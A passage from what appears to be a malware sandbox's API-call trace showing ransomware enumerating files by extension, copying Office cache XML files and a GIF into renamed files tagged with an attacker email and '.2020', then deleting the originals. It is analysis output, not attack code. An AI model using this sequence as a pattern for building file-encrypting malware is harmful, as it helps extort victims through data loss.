lpString2=".xml") returned -1 [0065.667] lstrlenW (lpString=".docx") returned 5 [0065.667] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0065.667] lstrlenW (lpString=".pdf") returned 4 [0065.667] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.667] lstrlenW (lpString=".xls") returned 4 [0065.667] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.668] lstrlenW (lpString=".xlsx") returned 5 [0065.668] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0065.668] lstrlenW (lpString=".ppt") returned 4 [0065.668] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.668] lstrlenW (lpString=".zip") returned 4 [0065.668] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.668] lstrlenW (lpString=".rar") returned 4 [0065.668] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.668] lstrlenW (lpString=".bz2") returned 4 [0065.668] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.668] lstrlenW (lpString=".7z") returned 3 [0065.668] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.668] lstrlenW (lpString=".dbf") returned 4 [0065.668] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.668] lstrlenW (lpString=".1cd") returned 4 [0065.668] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.668] lstrlenW (lpString=".jpg") returned 4 [0065.668] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.668] lstrlenW (lpString=".doc") returned 4 [0065.668] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.668] lstrlenW (lpString=".docx") returned 5 [0065.668] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0065.668] lstrlenW (lpString=".pdf") returned 4 [0065.668] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.668] lstrlenW (lpString=".xls") returned 4 [0065.668] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.668] lstrlenW (lpString=".xlsx") returned 5 [0065.668] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0065.669] lstrlenW (lpString=".ppt") returned 4 [0065.669] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.669] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.669] lstrlenW (lpString=".zip") returned 4 [0065.669] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.669] lstrlenW (lpString=".rar") returned 4 [0065.669] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.669] lstrlenW (lpString=".bz2") returned 4 [0065.669] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.669] lstrlenW (lpString=".7z") returned 3 [0065.669] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.669] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.669] lstrlenW (lpString=".dbf") returned 4 [0065.669] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.669] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.669] lstrlenW (lpString=".1cd") returned 4 [0065.669] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.669] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.669] lstrlenW (lpString=".jpg") returned 4 [0065.669] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.669] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0065.669] lstrlenW (lpString="Office32WW.xml") returned 14 [0065.669] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0065.671] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=4274) returned 1 [0065.671] CloseHandle (hObject=0x16c) returned 1 [0065.671] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0065.671] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0065.671] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0065.672] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0065.672] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0065.672] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0065.672] GetLastError () returned 0x0 [0065.672] ReadFile (in: hFile=0x16c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x10b2, lpOverlapped=0x0) returned 1 [0065.674] WriteFile (in: hFile=0x1c0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0065.675] ReadFile (in: hFile=0x16c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0065.675] WriteFile (in: hFile=0x1c0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xf0, lpOverlapped=0x0) returned 1 [0065.675] SetEndOfFile (hFile=0x1c0) returned 1 [0065.675] CloseHandle (hObject=0x1c0) returned 1 [0065.686] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0065.686] SetEndOfFile (hFile=0x16c) returned 1 [0065.687] CloseHandle (hObject=0x16c) returned 1 [0065.687] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0065.687] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0065.688] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0065.688] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0065.688] lstrlenW (lpString=".doc") returned 4 [0065.688] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.688] lstrlenW (lpString=".docx") returned 5 [0065.688] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0065.688] lstrlenW (lpString=".pdf") returned 4 [0065.688] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.688] lstrlenW (lpString=".xls") returned 4 [0065.688] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.688] lstrlenW (lpString=".xlsx") returned 5 [0065.688] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0065.688] lstrlenW (lpString=".ppt") returned 4 [0065.688] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.688] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0065.688] lstrlenW (lpString=".zip") returned 4 [0065.688] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.688] lstrlenW (lpString=".rar") returned 4 [0065.688] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.688] lstrlenW (lpString=".bz2") returned 4 [0065.688] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.689] lstrlenW (lpString=".7z") returned 3 [0065.689] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0065.689] lstrlenW (lpString=".dbf") returned 4 [0065.689] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0065.689] lstrlenW (lpString=".1cd") returned 4 [0065.689] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0065.689] lstrlenW (lpString=".jpg") returned 4 [0065.689] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0065.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0065.689] lstrlenW (lpString=".doc") returned 4 [0065.689] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.689] lstrlenW (lpString=".docx") returned 5 [0065.689] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0065.689] lstrlenW (lpString=".pdf") returned 4 [0065.689] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.689] lstrlenW (lpString=".xls") returned 4 [0065.689] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.689] lstrlenW (lpString=".xlsx") returned 5 [0065.689] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0065.689] lstrlenW (lpString=".ppt") returned 4 [0065.689] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.689] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0065.689] lstrlenW (lpString=".zip") returned 4 [0065.689] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.689] lstrlenW (lpString=".rar") returned 4 [0065.689] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.689] lstrlenW (lpString=".bz2") returned 4 [0065.689] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.689] lstrlenW (lpString=".7z") returned 3 [0065.689] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.690] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0065.690] lstrlenW (lpString=".dbf") returned 4 [0065.690] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.690] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0065.690] lstrlenW (lpString=".1cd") returned 4 [0065.690] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.690] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0065.690] lstrlenW (lpString=".jpg") returned 4 [0065.690] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.690] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0065.690] lstrlenW (lpString="ProPlusrWW.xml") returned 14 [0065.690] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0066.772] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=16852) returned 1 [0066.772] CloseHandle (hObject=0x170) returned 1 [0066.773] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0066.773] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0066.773] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0066.773] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0066.773] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0066.773] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0066.774] GetLastError () returned 0x0 [0066.774] ReadFile (in: hFile=0x170, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x41d4, lpOverlapped=0x0) returned 1 [0066.797] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0066.798] ReadFile (in: hFile=0x170, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0066.798] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xf0, lpOverlapped=0x0) returned 1 [0066.798] SetEndOfFile (hFile=0x1ac) returned 1 [0066.799] CloseHandle (hObject=0x1ac) returned 1 [0066.802] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0066.802] SetEndOfFile (hFile=0x170) returned 1 [0066.803] CloseHandle (hObject=0x170) returned 1 [0066.803] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0066.804] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1 [0066.804] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.804] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.804] lstrlenW (lpString=".doc") returned 4 [0066.804] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.804] lstrlenW (lpString=".docx") returned 5 [0066.804] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0066.804] lstrlenW (lpString=".pdf") returned 4 [0066.804] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.804] lstrlenW (lpString=".xls") returned 4 [0066.804] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.804] lstrlenW (lpString=".xlsx") returned 5 [0066.804] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0066.804] lstrlenW (lpString=".ppt") returned 4 [0066.804] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.804] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.804] lstrlenW (lpString=".zip") returned 4 [0066.804] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.805] lstrlenW (lpString=".rar") returned 4 [0066.805] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.805] lstrlenW (lpString=".bz2") returned 4 [0066.805] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.805] lstrlenW (lpString=".7z") returned 3 [0066.805] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.805] lstrlenW (lpString=".dbf") returned 4 [0066.805] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.805] lstrlenW (lpString=".1cd") returned 4 [0066.805] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.805] lstrlenW (lpString=".jpg") returned 4 [0066.805] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.805] lstrlenW (lpString=".doc") returned 4 [0066.805] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.805] lstrlenW (lpString=".docx") returned 5 [0066.805] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0066.805] lstrlenW (lpString=".pdf") returned 4 [0066.805] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.805] lstrlenW (lpString=".xls") returned 4 [0066.805] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.805] lstrlenW (lpString=".xlsx") returned 5 [0066.805] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0066.805] lstrlenW (lpString=".ppt") returned 4 [0066.805] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.805] lstrlenW (lpString=".zip") returned 4 [0066.805] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.806] lstrlenW (lpString=".rar") returned 4 [0066.806] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.806] lstrlenW (lpString=".bz2") returned 4 [0066.806] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.806] lstrlenW (lpString=".7z") returned 3 [0066.806] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.806] lstrlenW (lpString=".dbf") returned 4 [0066.806] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.806] lstrlenW (lpString=".1cd") returned 4 [0066.806] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.806] lstrlenW (lpString=".jpg") returned 4 [0066.806] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.806] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0066.806] lstrlenW (lpString="MS.GIF") returned 6 [0066.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0066.811] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1069) returned 1 [0066.811] CloseHandle (hObject=0x188) returned 1 [0066.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0066.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0066.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0066.835] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0066.835] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0066.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0066.836] GetLastError () returned 0x0 [0066.836] ReadFile (in: hFile=0x188, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x42d, lpOverlapped=0x0) returned 1 [0066.850] WriteFile (in: hFile=0x1a8, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x430, lpOverlapped=0x0) returned 1 [0066.850] ReadFile (in: hFile=0x188, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0066.850] WriteFile (in: hFile=0x1a8, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe0, lpOverlapped=0x0) returned 1 [0066.850] SetEndOfFile (hFile=0x1a8) returned 1 [0066.850] CloseHandle (hObject=0x1a8) returned 1 [0066.853] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0066.853] SetEndOfFile (hFile=0x188) returned 1 [0066.854] CloseHandle (hObject=0x188) returned 1 [0066.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0066.854] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1 [0066.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0066.854] lstrlenW 